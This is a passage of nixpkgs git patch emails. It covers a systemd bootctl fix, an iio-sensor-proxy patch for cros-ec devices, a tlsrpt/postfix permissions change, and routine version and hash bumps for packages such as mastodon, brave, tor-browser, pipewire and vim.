-         if (r == -ESRCH)
-                 return log_notice_errno(r, "Source file \"%s\" does not carry version information!", from);
-         if (r < 0)
--                return r;
-+                return log_error_errno(r, "Failed to get version information of source file \"%s\": %m", from);
- 
-         r = get_file_version(fd_to, &b);
-         if (r == -ESRCH)
-                 return log_notice_errno(r, "Skipping \"%s\", it's owned by another boot loader (no version info found).",
-                                         to);
-         if (r < 0)
--                return r;
-+                return log_error_errno(r, "Failed to get version information of \"%s\": %m", to);
-         if (compare_product(a, b) != 0)
-                 return log_notice_errno(SYNTHETIC_ERRNO(ESRCH),
-                                         "Skipping \"%s\", it's owned by another boot loader.", to);
-@@ -324,11 +324,15 @@ static int create_subdirs(const char *root, const char * const *subdirs) {
-         return 0;
- }
- 
--static int update_efi_boot_binaries(const char *esp_path, const char *source_path) {
-+static int update_efi_boot_binaries(const char *esp_path, const char *source_path, const char *exclude_path) {
-         _cleanup_closedir_ DIR *d = NULL;
-         _cleanup_free_ char *p = NULL;
-         int r, ret = 0;
- 
-+        assert(esp_path);
-+        assert(source_path);
-+        assert(exclude_path);
-+
-         r = chase_and_opendir("/EFI/BOOT", esp_path, CHASE_PREFIX_ROOT|CHASE_PROHIBIT_SYMLINKS, &p, &d);
-         if (r == -ENOENT)
-                 return 0;
-@@ -339,9 +343,19 @@ static int update_efi_boot_binaries(const char *esp_path, const char *source_pat
-                 _cleanup_close_ int fd = -EBADF;
-                 _cleanup_free_ char *v = NULL;
- 
-+                if (!IN_SET(de->d_type, DT_REG, DT_UNKNOWN))
-+                        continue;
-+
-                 if (!endswith_no_case(de->d_name, ".efi"))
-                         continue;
- 
-+                /* Skip the file that is already updated. We cannot check if the paths are equal because the
-+                 * file system is likely case insensitve. It's easiest to just check if the inodes are the
-+                 * same.
-+                 */
-+                if (inode_same_at(dirfd(d), de->d_name, 0, exclude_path, 0))
-+                        continue;
-+
-                 fd = xopenat_full(dirfd(d), de->d_name, O_RDONLY|O_CLOEXEC|O_NONBLOCK|O_NOCTTY|O_NOFOLLOW, /* xopen_flags= */ 0, /* mode= */ 0);
-                 if (fd < 0)
-                         return log_error_errno(fd, "Failed to open \"%s/%s\" for reading: %m", p, de->d_name);
-@@ -429,7 +443,7 @@ static int copy_one_file(const char *esp_path, const char *name, bool force) {
-                 /* If we were installed under any other name in /EFI/BOOT, make sure we update those binaries
-                  * as well. */
-                 if (!force)
--                        RET_GATHER(ret, update_efi_boot_binaries(esp_path, source_path));
-+                        RET_GATHER(ret, update_efi_boot_binaries(esp_path, source_path, default_dest_path));
-         }
- 
-         return ret;
diff --git a/pkgs/os-specific/linux/systemd/default.nix b/pkgs/os-specific/linux/systemd/default.nix
index 0a87faf08e0b..a00d9db9a595 100644
--- a/pkgs/os-specific/linux/systemd/default.nix
+++ b/pkgs/os-specific/linux/systemd/default.nix
@@ -247,9 +247,8 @@ stdenv.mkDerivation (finalAttrs: {
       ./0017-meson.build-do-not-create-systemdstatedir.patch
 
       # https://github.com/systemd/systemd/issues/33392
-      # This patch is a slightly modified version of this PR:
       # https://github.com/systemd/systemd/pull/33400
-      ./0018-bootctl-do-not-try-to-update-the-same-file-multiple-.patch
+      ./0018-bootctl-do-not-fail-when-the-same-file-is-updated-mu.patch
 
       # systemd tries to link the systemd-ssh-proxy ssh config snippet with tmpfiles
       # if the install prefix is not /usr, but that does not work for us

From 79838c6889338c71f4c36b547e8b14c2320537c1 Mon Sep 17 00:00:00 2001
From: Daniel Schaefer <git@danielschaefer.me>
Date: Tue, 22 Jul 2025 23:26:10 +0800
Subject: [PATCH 2820/4511] iio-sensor-proxy: Fix on cros-ec devices (e.g.
 Framework 12)

https://gitlab.freedesktop.org/hadess/iio-sensor-proxy/-/merge_requests/400
has finally been merged and fixed the regression in version 3.7.
Since the merging has taken a long time, I don't expect a new release
soon and we should include the patches.

Also see https://gitlab.freedesktop.org/hadess/iio-sensor-proxy/-/issues/411
Now monitor-sensor can show the display orientation and GNOME/KDE pick
it up.

Signed-off-by: Daniel Schaefer <git@danielschaefer.me>
(cherry picked from commit 5959e69ef2a806402b50ed774770225664857d13)
---
 pkgs/by-name/ii/iio-sensor-proxy/package.nix | 21 ++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/pkgs/by-name/ii/iio-sensor-proxy/package.nix b/pkgs/by-name/ii/iio-sensor-proxy/package.nix
index e8d95bba9f4e..b4f6a4537e0f 100644
--- a/pkgs/by-name/ii/iio-sensor-proxy/package.nix
+++ b/pkgs/by-name/ii/iio-sensor-proxy/package.nix
@@ -2,6 +2,7 @@
   lib,
   stdenv,
   fetchFromGitLab,
+  fetchpatch2,
   glib,
   cmake,
   libxml2,
@@ -25,6 +26,26 @@ stdenv.mkDerivation rec {
     hash = "sha256-MAfh6bgh39J5J3rlyPjyCkk5KcfWHMZLytZcBRPHaJE=";
   };
 
+  # Fix devices with cros-ec-accel, like Chromebooks and Framework Laptop 12
+  # https://gitlab.freedesktop.org/hadess/iio-sensor-proxy/-/merge_requests/400
+  patches = [
+    (fetchpatch2 {
+      name = "mr400_1.patch";
+      url = "https://gitlab.freedesktop.org/hadess/iio-sensor-proxy/-/commit/f35d293e65841a3b9c0de778300c7fa58b181fd0.patch";
+      hash = "sha256-Gk8Wpy+KFhHAsR3XklcsL3Eo4fHjQuFT6PCN5hz9KHk=";
+    })
+    (fetchpatch2 {
+      name = "mr400_2.patch";
+      url = "https://gitlab.freedesktop.org/hadess/iio-sensor-proxy/-/commit/7416edf4da98d8e3b75f9eddb7e5c488ac4a4c54.patch";
+      hash = "sha256-5UnYam6P+paBHAI0qKXDAvrFM8JYhRVTUFePRTHCp+U=";
+    })
+    (fetchpatch2 {
+      name = "mr400_3.patch";
+      url = "https://gitlab.freedesktop.org/hadess/iio-sensor-proxy/-/commit/d00109194422a4fe3e9a7bc1235ffc492459c61a.patch";
+      hash = "sha256-58KrXbdpR1eWbPmsr8b0ke67hX5J0o0gtqzrz3dc+ck=";
+    })
+  ];
+
   postPatch = ''
     # upstream meson.build currently doesn't have an option to change the default polkit dir
     substituteInPlace data/meson.build \

From a63df71d05b1b0e0fada7b818df7780eec6b1125 Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Wed, 23 Jul 2025 00:01:46 +0300
Subject: [PATCH 2821/4511] alt-tab-macos: 7.24.0 -> 7.25.0

Changelog: https://github.com/lwouis/alt-tab-macos/releases/tag/v7.25.0
Diff: https://github.com/lwouis/alt-tab-macos/compare/v7.24.0...v7.25.0
(cherry picked from commit 1798bf4bcc383dff3aba519a901a3e80a10cdb56)
---
 pkgs/by-name/al/alt-tab-macos/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/al/alt-tab-macos/package.nix b/pkgs/by-name/al/alt-tab-macos/package.nix
index 430c563295eb..48da2357d034 100644
--- a/pkgs/by-name/al/alt-tab-macos/package.nix
+++ b/pkgs/by-name/al/alt-tab-macos/package.nix
@@ -8,11 +8,11 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "alt-tab-macos";
-  version = "7.24.0";
+  version = "7.25.0";
 
   src = fetchurl {
     url = "https://github.com/lwouis/alt-tab-macos/releases/download/v${finalAttrs.version}/AltTab-${finalAttrs.version}.zip";
-    hash = "sha256-iURIOxRgGCNXJA+9cDb07iwj0b4H8TdX8bPPmM3RjyI=";
+    hash = "sha256-e13en0fQHO0i49gP1zU6ms9TDMAwo1qsubsTi/DdIUo=";
   };
 
   sourceRoot = ".";

From 42a47afea4976ac069045acde64c2715d9052d7f Mon Sep 17 00:00:00 2001
From: parth <parth@mehrotra.me>
Date: Wed, 23 Jul 2025 12:03:44 -0400
Subject: [PATCH 2822/4511] lockbook: 0.9.22 --> 0.9.25

(cherry picked from commit ff6fe0f122c9ca0d211f2bc02f04fb7f15f414e1)
---
 pkgs/by-name/lo/lockbook/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/lo/lockbook/package.nix b/pkgs/by-name/lo/lockbook/package.nix
index d4d5da794911..6b2fe18cf051 100644
--- a/pkgs/by-name/lo/lockbook/package.nix
+++ b/pkgs/by-name/lo/lockbook/package.nix
@@ -7,22 +7,22 @@
 }:
 rustPlatform.buildRustPackage rec {
   pname = "lockbook";
-  version = "0.9.22";
+  version = "0.9.25";
 
   src = fetchFromGitHub {
     owner = "lockbook";
     repo = "lockbook";
     tag = version;
-    hash = "sha256-akCtnPLJupoo7n3Vfyl37fjCmK4dHB0bt92rie6k0dQ=";
+    hash = "sha256-8zkEVdvoM0PDqGyqY16ZRgyY8G0LplmhAb0THwqTVig=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-xH3GIwh3zaLbpZqvzM+KM+K14fWj241RTwUM7dWRCKA=";
+  cargoHash = "sha256-2NGb4a/Ak8DlaxHVElJg8Vhrt4W4XPZdDE283TH19C4=";
 
   doCheck = false; # there are no cli tests
   cargoBuildFlags = [
     "--package"
-    "lockbook-cli"
+    "lockbook"
   ];
 
   nativeBuildInputs = [ installShellFiles ];

From 91316009180206c76299e67b9f0987bd63bec434 Mon Sep 17 00:00:00 2001
From: parth <parth@mehrotra.me>
Date: Wed, 23 Jul 2025 12:54:53 -0400
Subject: [PATCH 2823/4511] lockbook-desktop: 0.9.24 -> 0.9.25

(cherry picked from commit b24f9ea06e67b2b905c3220c6d419a60944d4778)
---
 pkgs/by-name/lo/lockbook-desktop/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/lo/lockbook-desktop/package.nix b/pkgs/by-name/lo/lockbook-desktop/package.nix
index d68e66f62a93..1364545c2b76 100644
--- a/pkgs/by-name/lo/lockbook-desktop/package.nix
+++ b/pkgs/by-name/lo/lockbook-desktop/package.nix
@@ -18,17 +18,17 @@ let
 in
 rustPlatform.buildRustPackage rec {
   pname = "lockbook-desktop";
-  version = "0.9.24";
+  version = "0.9.25";
 
   src = fetchFromGitHub {
     owner = "lockbook";
     repo = "lockbook";
     tag = version;
-    hash = "sha256-NEKmZlBw1OkikHHeohZH01/+E6bslQ6+EK0lhleI9UA=";
+    hash = "sha256-8zkEVdvoM0PDqGyqY16ZRgyY8G0LplmhAb0THwqTVig=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-UDidgvZlFkUrNpnwJijEQ8ib2kiou0cHKOuBnk0u704=";
+  cargoHash = "sha256-2NGb4a/Ak8DlaxHVElJg8Vhrt4W4XPZdDE283TH19C4=";
 
   nativeBuildInputs = [
     pkg-config

From 55e8849dabba779198f89284b78e166ceac1793a Mon Sep 17 00:00:00 2001
From: Kerstin Humm <kerstin@erictapen.name>
Date: Wed, 23 Jul 2025 17:02:52 +0200
Subject: [PATCH 2824/4511] mastodon: 4.3.9 -> 4.3.10

Changelog: https://github.com/mastodon/mastodon/releases/tag/v4.3.10
---
 pkgs/servers/mastodon/gemset.nix | 16 ++++++++--------
 pkgs/servers/mastodon/source.nix |  4 ++--
 pkgs/servers/mastodon/update.sh  | 13 +++++++------
 3 files changed, 17 insertions(+), 16 deletions(-)

diff --git a/pkgs/servers/mastodon/gemset.nix b/pkgs/servers/mastodon/gemset.nix
index 4b7b78a4ab53..ccb983280702 100644
--- a/pkgs/servers/mastodon/gemset.nix
+++ b/pkgs/servers/mastodon/gemset.nix
@@ -2244,10 +2244,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0x8asxl83msn815lwmb2d7q5p29p7drhjv5va0byhk60v9n16iwf";
+      sha256 = "12f2830x7pq3kj0v8nz0zjvaw02sv01bqs1zwdrc04704kwcgmqc";
       type = "gem";
     };
-    version = "2.8.8";
+    version = "2.8.9";
   };
   minitest = {
     groups = [
@@ -2431,10 +2431,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0rb306hbky6cxfyc8vrwpvl40fdapjvhsk62h08gg9wwbn3n8x4c";
+      sha256 = "0czsh9d738kj0bmpkjnczq9j924hg103gc00i0wfyg0fzn9psnmc";
       type = "gem";
     };
-    version = "1.18.8";
+    version = "1.18.9";
   };
   oj = {
     dependencies = [
@@ -3204,10 +3204,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1yzhcwvfkrlb8l79w24yjclv636jn6rnznp95shmssk934bi1vnc";
+      sha256 = "1pcr8sn02lwzv3z6vx5n41b6ybcnw9g9h05s3lkv4vqdm0f2mq2z";
       type = "gem";
     };
-    version = "2.2.13";
+    version = "2.2.17";
   };
   rack-attack = {
     dependencies = [ "rack" ];
@@ -4394,10 +4394,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1nmymd86a0vb39pzj2cwv57avdrl6pl3lf5bsz58q594kqxjkw7f";
+      sha256 = "0gcarlmpfbmqnjvwfz44gdjhcmm634di7plcx2zdgwdhrhifhqw7";
       type = "gem";
     };
-    version = "1.3.2";
+    version = "1.4.0";
   };
   tilt = {
     groups = [
diff --git a/pkgs/servers/mastodon/source.nix b/pkgs/servers/mastodon/source.nix
index de1b5f020c45..5de05347664e 100644
--- a/pkgs/servers/mastodon/source.nix
+++ b/pkgs/servers/mastodon/source.nix
@@ -5,14 +5,14 @@
   patches ? [ ],
 }:
 let
-  version = "4.3.9";
+  version = "4.3.10";
 in
 applyPatches {
   src = fetchFromGitHub {
     owner = "mastodon";
     repo = "mastodon";
     rev = "v${version}";
-    hash = "sha256-A2WxVwaarT866s97uwfStBVtv7T5czF7ymRswtZ2K4M=";
+    hash = "sha256-s7p5J9tzw0uHsWcHHkvfkyesZvNRzgC8fcVU3oylteo=";
 
     passthru = {
       inherit version;
diff --git a/pkgs/servers/mastodon/update.sh b/pkgs/servers/mastodon/update.sh
index ca1c52d77872..70e266c2433b 100755
--- a/pkgs/servers/mastodon/update.sh
+++ b/pkgs/servers/mastodon/update.sh
@@ -90,19 +90,20 @@ cat > source.nix << EOF
 let
   version = "$VERSION";
 in
-(applyPatches {
+applyPatches {
   src = fetchFromGitHub {
     owner = "$OWNER";
     repo = "$REPO";
     rev = "v\${version}";
     hash = "$HASH";
+
+    passthru = {
+      inherit version;
+      yarnHash = "sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
+      yarnMissingHashes = null;
+    };
   };
   patches = patches ++ [$PATCHES];
-})
-// {
-  inherit version;
-  yarnHash = "sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
-  yarnMissingHashes = null;
 }
 EOF
 SOURCE_DIR="$(nix-build --no-out-link -E '(import <nixpkgs> {}).callPackage ./source.nix {}')"

From 1eb331d2306b99dd67a22ae84648492ffebbeaa9 Mon Sep 17 00:00:00 2001
From: Sean Buckley <sean.bck@gmail.com>
Date: Wed, 23 Jul 2025 12:54:28 -0400
Subject: [PATCH 2825/4511] brave: 1.80.122 -> 1.80.124

https://community.brave.com/t/release-channel-1-80-124/634907
(cherry picked from commit 18939487ebf15994e60f8dd3dc99f3a8cfef6c0e)
---
 pkgs/by-name/br/brave/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/br/brave/package.nix b/pkgs/by-name/br/brave/package.nix
index e60de5ac2d97..54dc21c11237 100644
--- a/pkgs/by-name/br/brave/package.nix
+++ b/pkgs/by-name/br/brave/package.nix
@@ -3,24 +3,24 @@
 
 let
   pname = "brave";
-  version = "1.80.122";
+  version = "1.80.124";
 
   allArchives = {
     aarch64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_arm64.deb";
-      hash = "sha256-UQmSZ3Xi96Q6/8Y09L5VaPVJHv7gUXcOyv5Ba35Z80s=";
+      hash = "sha256-K3AlYkAMDz988klsGTqYtvt3tswyLa5PhTdy4f0mU9E=";
     };
     x86_64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_amd64.deb";
-      hash = "sha256-Q/m81hCZF8om3Tlxlj77GPiBElJVibJFA/ts7mtN6n8=";
+      hash = "sha256-4WP9uGuFcpW9Z0omqQBDTAjr+XCYa9mXcJGnxcm2inQ=";
     };
     aarch64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-arm64.zip";
-      hash = "sha256-BezJ5ZXUBC2itSNUivnqygY8VzzIXM6wb3QSC+LE1uM=";
+      hash = "sha256-vgqYktoVPDOmhibes9ghPcV2cpnyxliKvmELI8Brh0I=";
     };
     x86_64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-x64.zip";
-      hash = "sha256-NN7Anrjym50DRo0qI5bF/XzhssgPuKOhk1CJgMoOq70=";
+      hash = "sha256-hVKuO3sSMc+yQiwHpwgYxfh7tyXHUpcWNQO6o9uf5Ro=";
     };
   };
 

From 918a5907629d6658b9e1858139f6a16fe84d7b85 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Felix=20Schr=C3=B6ter?= <dev@felschr.com>
Date: Wed, 23 Jul 2025 23:55:20 +0200
Subject: [PATCH 2826/4511] tor-browser: 14.5.4 -> 14.5.5

https://blog.torproject.org/new-release-tor-browser-1455/
(cherry picked from commit e88fc16309084acb3a167f9eacbd758b8004758d)
---
 pkgs/by-name/to/tor-browser/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/to/tor-browser/package.nix b/pkgs/by-name/to/tor-browser/package.nix
index 3d5241af75c0..aaeead533564 100644
--- a/pkgs/by-name/to/tor-browser/package.nix
+++ b/pkgs/by-name/to/tor-browser/package.nix
@@ -109,7 +109,7 @@ lib.warnIf (useHardenedMalloc != null)
         ++ lib.optionals mediaSupport [ ffmpeg ]
       );
 
-      version = "14.5.4";
+      version = "14.5.5";
 
       sources = {
         x86_64-linux = fetchurl {
@@ -119,7 +119,7 @@ lib.warnIf (useHardenedMalloc != null)
             "https://tor.eff.org/dist/torbrowser/${version}/tor-browser-linux-x86_64-${version}.tar.xz"
             "https://tor.calyxinstitute.org/dist/torbrowser/${version}/tor-browser-linux-x86_64-${version}.tar.xz"
           ];
-          hash = "sha256-27Wq9VwFB85swQZIRQMKZgeUeb/SgQ04aaWmZtlpY9s=";
+          hash = "sha256-rJGhgSSktaeH7KSOtf1KjJbrl/m4sdz+9UdjUN9ovz0=";
         };
 
         i686-linux = fetchurl {
@@ -129,7 +129,7 @@ lib.warnIf (useHardenedMalloc != null)
             "https://tor.eff.org/dist/torbrowser/${version}/tor-browser-linux-i686-${version}.tar.xz"
             "https://tor.calyxinstitute.org/dist/torbrowser/${version}/tor-browser-linux-i686-${version}.tar.xz"
           ];
-          hash = "sha256-OgexrnQWGYSf9g3Le/LyBcpGo3xFqpCMq1NUHF5fi9M=";
+          hash = "sha256-mvlx817/vLi4QyA0aSPyAuWSBfMLjfkFG9Zse9rmSzw=";
         };
       };
 

From 66aaf74268b3f03cf478947176367e8355a0ab55 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Felix=20Schr=C3=B6ter?= <dev@felschr.com>
Date: Wed, 23 Jul 2025 23:57:25 +0200
Subject: [PATCH 2827/4511] mullvad-browser: 14.5.4 -> 14.5.5

https://github.com/mullvad/mullvad-browser/releases/tag/14.5.5
(cherry picked from commit ca97a99f888b58404f36ae5b05b10ab399d472b2)
---
 pkgs/by-name/mu/mullvad-browser/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mu/mullvad-browser/package.nix b/pkgs/by-name/mu/mullvad-browser/package.nix
index 028a70fe6c14..92d10debd1cd 100644
--- a/pkgs/by-name/mu/mullvad-browser/package.nix
+++ b/pkgs/by-name/mu/mullvad-browser/package.nix
@@ -97,7 +97,7 @@ let
     ++ lib.optionals mediaSupport [ ffmpeg ]
   );
 
-  version = "14.5.4";
+  version = "14.5.5";
 
   sources = {
     x86_64-linux = fetchurl {
@@ -109,7 +109,7 @@ let
         "https://tor.eff.org/dist/mullvadbrowser/${version}/mullvad-browser-linux-x86_64-${version}.tar.xz"
         "https://tor.calyxinstitute.org/dist/mullvadbrowser/${version}/mullvad-browser-linux-x86_64-${version}.tar.xz"
       ];
-      hash = "sha256-DJEc+2GJHxG49euVpwH8h/yLoR6DVn0a0ZUFS429XaA=";
+      hash = "sha256-PwqxYylW602XAKBvEJk4Rl8q6nWBGH3pFvTOuAYtr/w=";
     };
   };
 

From 8fc5cfb293990b614b7b0917bbd06b456451d65c Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Thu, 24 Jul 2025 02:12:43 +0200
Subject: [PATCH 2828/4511] nixos/tlsrpt: fix permissions for postfix

Same as with other services giving postfix access, this needs to happen
for the postfix user. Adding supplementary group permissions to the
systemd unit does not propagate to child processes that ultimately call
the unix domain socket.

(cherry picked from commit e48d12554c410e16fc5ece2458023ed31b5a4f53)
---
 nixos/modules/services/mail/tlsrpt.nix | 14 +++++++++++---
 nixos/tests/tlsrpt.nix                 |  2 +-
 2 files changed, 12 insertions(+), 4 deletions(-)

diff --git a/nixos/modules/services/mail/tlsrpt.nix b/nixos/modules/services/mail/tlsrpt.nix
index 732679c9b05a..83b219443fd0 100644
--- a/nixos/modules/services/mail/tlsrpt.nix
+++ b/nixos/modules/services/mail/tlsrpt.nix
@@ -270,9 +270,17 @@ in
       };
     };
 
-    systemd.services.postfix.serviceConfig.SupplementaryGroups = mkIf (
-      config.services.postfix.enable && cfg.collectd.configurePostfix
-    ) [ "tlsrpt" ];
+    users.users.tlsrpt = {
+      isSystemUser = true;
+      group = "tlsrpt";
+    };
+    users.groups.tlsrpt = { };
+
+    users.users.postfix.extraGroups =
+      lib.mkIf (config.services.postfix.enable && cfg.collectd.configurePostfix)
+        [
+          "tlsrpt"
+        ];
 
     systemd.services.tlsrpt-collectd = {
       description = "TLSRPT datagram collector";
diff --git a/nixos/tests/tlsrpt.nix b/nixos/tests/tlsrpt.nix
index d93ac78b5240..92a7d0cda78e 100644
--- a/nixos/tests/tlsrpt.nix
+++ b/nixos/tests/tlsrpt.nix
@@ -35,7 +35,7 @@
 
     # Enabling postfix should put sendmail as the sendmail setting
     machine.succeed("grep -q sendmail_script=sendmail /etc/tlsrpt/reportd.cfg")
-    machine.succeed("systemctl show --property SupplementaryGroups postfix.service | grep tlsrpt")
+    machine.succeed("getent group tlsrpt | grep -q postfix")
 
     machine.log(machine.succeed("systemd-analyze security tlsrpt-collectd.service tlsrpt-reportd.service | grep -v ✓"))
   '';

From a2df8d9237684708ca5bf4741e4a8bdd216bef25 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 24 Jul 2025 01:13:50 +0000
Subject: [PATCH 2829/4511] pipewire: 1.4.6 -> 1.4.7

(cherry picked from commit b0a86ce5d511dc54707527e24db51742cfe97ddc)
---
 pkgs/development/libraries/pipewire/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/libraries/pipewire/default.nix b/pkgs/development/libraries/pipewire/default.nix
index a4e4fb7d55e4..600dceed2e2b 100644
--- a/pkgs/development/libraries/pipewire/default.nix
+++ b/pkgs/development/libraries/pipewire/default.nix
@@ -82,7 +82,7 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "pipewire";
-  version = "1.4.6";
+  version = "1.4.7";
 
   outputs = [
     "out"
@@ -98,7 +98,7 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "pipewire";
     repo = "pipewire";
     rev = finalAttrs.version;
-    sha256 = "sha256-Hk43rKrKCJA6njQ9ap/Pje9AQKygrDc+GTlimaMh/pg=";
+    sha256 = "sha256-U9J7f6nDO4tp6OCBtBcZ9HP9KDKLfuuRWDEbgLL9Avs=";
   };
 
   patches = [

From f88174c150d763e617357f35924253a95d494ab3 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 23 Jul 2025 20:18:04 +0000
Subject: [PATCH 2830/4511] openasar: 0-unstable-2025-07-14 ->
 0-unstable-2025-07-15

(cherry picked from commit f01cd23d26d9638534c382f4672813caeda666c1)
---
 pkgs/by-name/op/openasar/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/op/openasar/package.nix b/pkgs/by-name/op/openasar/package.nix
index d17c378fabb2..fb9a69acdb16 100644
--- a/pkgs/by-name/op/openasar/package.nix
+++ b/pkgs/by-name/op/openasar/package.nix
@@ -10,13 +10,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "openasar";
-  version = "0-unstable-2025-07-14";
+  version = "0-unstable-2025-07-15";
 
   src = fetchFromGitHub {
     owner = "GooseMod";
     repo = "OpenAsar";
-    rev = "e6991e30910b4019bff1ad6e1934534ad546831e";
-    hash = "sha256-COz3X2sYSYnd436pOjiHgpYxQbn6hRCo8AefPzv5hTs=";
+    rev = "92abbb0e3efc39e553fd24e9125c42cdba1318ec";
+    hash = "sha256-9PTseQdQ6YbeuBbcBnPr+OXP5wNYDJgv8s9sn8hGSgk=";
   };
 
   postPatch = ''

From 11e443f4f020cc006ffa22565947418884c39ca1 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 23 Jul 2025 23:51:05 +0000
Subject: [PATCH 2831/4511] postgresqlPackages.pg_net: 0.19.1 -> 0.19.3

(cherry picked from commit 0b0fd79f9b1df551fb655ff7889e93ddb8ec2461)
---
 pkgs/servers/sql/postgresql/ext/pg_net.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/ext/pg_net.nix b/pkgs/servers/sql/postgresql/ext/pg_net.nix
index d0c55edced2e..9186a6b4efa5 100644
--- a/pkgs/servers/sql/postgresql/ext/pg_net.nix
+++ b/pkgs/servers/sql/postgresql/ext/pg_net.nix
@@ -8,13 +8,13 @@
 
 postgresqlBuildExtension (finalAttrs: {
   pname = "pg_net";
-  version = "0.19.1";
+  version = "0.19.3";
 
   src = fetchFromGitHub {
     owner = "supabase";
     repo = "pg_net";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-Sy2PG1zCB6tNbcMNMWvl/Fe2Zu1stvEIqGrLsRF09GY=";
+    hash = "sha256-PZYIwkXp1rOzRCDZivJFMuEQBYJaaibUN/WkL+6crSg=";
   };
 
   buildInputs = [ curl ];

From b8445e0c757f50fd2ee5aa5cae2fd22862b5de68 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 14 May 2025 21:49:04 +0000
Subject: [PATCH 2832/4511] vim: 9.1.1336 -> 9.1.1385

(cherry picked from commit 76b50cbbf100ee3857cacaf97d5595d093af223e)
---
 pkgs/applications/editors/vim/common.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/editors/vim/common.nix b/pkgs/applications/editors/vim/common.nix
index 860249fb6d3d..e28eeeadda81 100644
--- a/pkgs/applications/editors/vim/common.nix
+++ b/pkgs/applications/editors/vim/common.nix
@@ -1,6 +1,6 @@
 { lib, fetchFromGitHub }:
 rec {
-  version = "9.1.1336";
+  version = "9.1.1385";
 
   outputs = [
     "out"
@@ -11,7 +11,7 @@ rec {
     owner = "vim";
     repo = "vim";
     rev = "v${version}";
-    hash = "sha256-fF1qRPdVzQiYH/R0PSmKR/zFVVuCtT6lPN1x1Th5SgA=";
+    hash = "sha256-++Olc+T3pknyFVAO/naJOyBhgBMl7XW6aBqLHCnmdZ0=";
   };
 
   enableParallelBuilding = true;

From 8b78716ad60a24d66527b39992c4d551394be66d Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Thu, 22 May 2025 12:12:15 +0200
Subject: [PATCH 2833/4511] vim: 9.1.1336 -> 9.1.1401

(cherry picked from commit cbe6305d282f78627ef1fb8e03da332ae3308f97)
---
 pkgs/applications/editors/vim/common.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/editors/vim/common.nix b/pkgs/applications/editors/vim/common.nix
index e28eeeadda81..7195226e5980 100644
--- a/pkgs/applications/editors/vim/common.nix
+++ b/pkgs/applications/editors/vim/common.nix
@@ -1,6 +1,6 @@
 { lib, fetchFromGitHub }:
 rec {
-  version = "9.1.1385";
+  version = "9.1.1401";
 
   outputs = [
     "out"
@@ -11,7 +11,7 @@ rec {
     owner = "vim";
     repo = "vim";
     rev = "v${version}";
-    hash = "sha256-++Olc+T3pknyFVAO/naJOyBhgBMl7XW6aBqLHCnmdZ0=";
+    hash = "sha256-oYde6i5coECUzQQEMo0dvkOXFimKe4y2aGoV2nVLx58=";
   };
 
   enableParallelBuilding = true;

From faecf38e3ce4e7e447138e436c9e9bce28081047 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 23 Jun 2025 22:13:19 +0000
Subject: [PATCH 2834/4511] vim: 9.1.1401 -> 9.1.1475

(cherry picked from commit 2ac1defe80cabcc7076c91fa9fe553da257a7455)
---
 pkgs/applications/editors/vim/common.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/editors/vim/common.nix b/pkgs/applications/editors/vim/common.nix
index 7195226e5980..b2cfd2db9fd1 100644
--- a/pkgs/applications/editors/vim/common.nix
+++ b/pkgs/applications/editors/vim/common.nix
@@ -1,6 +1,6 @@
 { lib, fetchFromGitHub }:
 rec {
